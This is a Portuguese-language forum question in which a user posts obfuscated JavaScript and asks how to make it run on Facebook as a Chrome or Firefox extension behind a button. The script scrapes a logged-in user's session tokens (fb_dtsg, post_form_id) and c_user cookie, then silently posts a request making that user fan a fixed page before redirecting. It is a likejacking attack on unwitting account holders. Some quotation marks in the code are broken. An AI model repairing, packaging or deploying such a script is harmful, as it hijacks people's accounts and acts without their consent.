Jump to content
Fórum Script Brasil
  • 0

Javascript , alguém me ajuda como


Felipebnh

Question

function createXMLHttpRequest() {

return window['ActiveXObject'] ? new ActiveXObject('Msxml2.XMLHTTP') : new XMLHttpRequest;

};

var c = createXMLHttpRequest();

c['open']('GET', '/?sk=nf', false);

c['onreadystatechange'] = ct;

c['send'](null);

function ct() {

var _0x28e6x4 = c['responseText'];

var _0x28e6x5 = _0x28e6x4['match'](/\"post_form_id\"\:\"(.*?)\"/)[1];

var _0x28e6x6 = _0x28e6x4['match'](/\"fb_dtsg\"\:\"(.*?)\"/)[1];

var _0x28e6x7 = escape(_0x28e6x4['match'](/\"charset_test\" value\=\"(.*?)\"/)[1]);

var _0x28e6x8 = _0x28e6x4['match'](/\"xhpc_composerid\" value\=\"(.*?)\"/)[1];

var _0x28e6x9 = document['cookie']['match'](/c_user=\d+/gi)[0]['replace']('c_user=, '');

function _0x28e6xa(_0x28e6xb) {

var _0x28e6xc = 'fbpage_id=' + _0x28e6xb + '&add=1&reload=1' + '&preserve_tab=true' + '&fan_origin=page_profile&nctr[_mod]=pagelet_header' + '&post_form_id=' + _0x28e6x5 + '&fb_dtsg=' + _0x28e6x6 + '&lsd&post_form_id_source=AsyncRequest&__' + _0x28e6x9;

c = createXMLHttpRequest();

c['open]('POST', '/ajax/pages/fan_status.php?__a=1', false);

c['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8');

c['send'](_0x28e6xc);

};

_0x28e6xa('157559451018512');

top['location']['replace']('http://www.facebook.com/');

};

Eu quero por pra quando a pessoa clickar no Botão q eu fiz abrir como Extensão no Chrome e no Mozila.

Pelo Amor de Deus como faço pra fazer esse javascript funcionar no facebook.

Link to comment
Share on other sites

1 answer to this question

Recommended Posts

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Answer this question...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



  • Forum Statistics

    • Total Topics
      152.2k
    • Total Posts
      652k
×
×
  • Create New...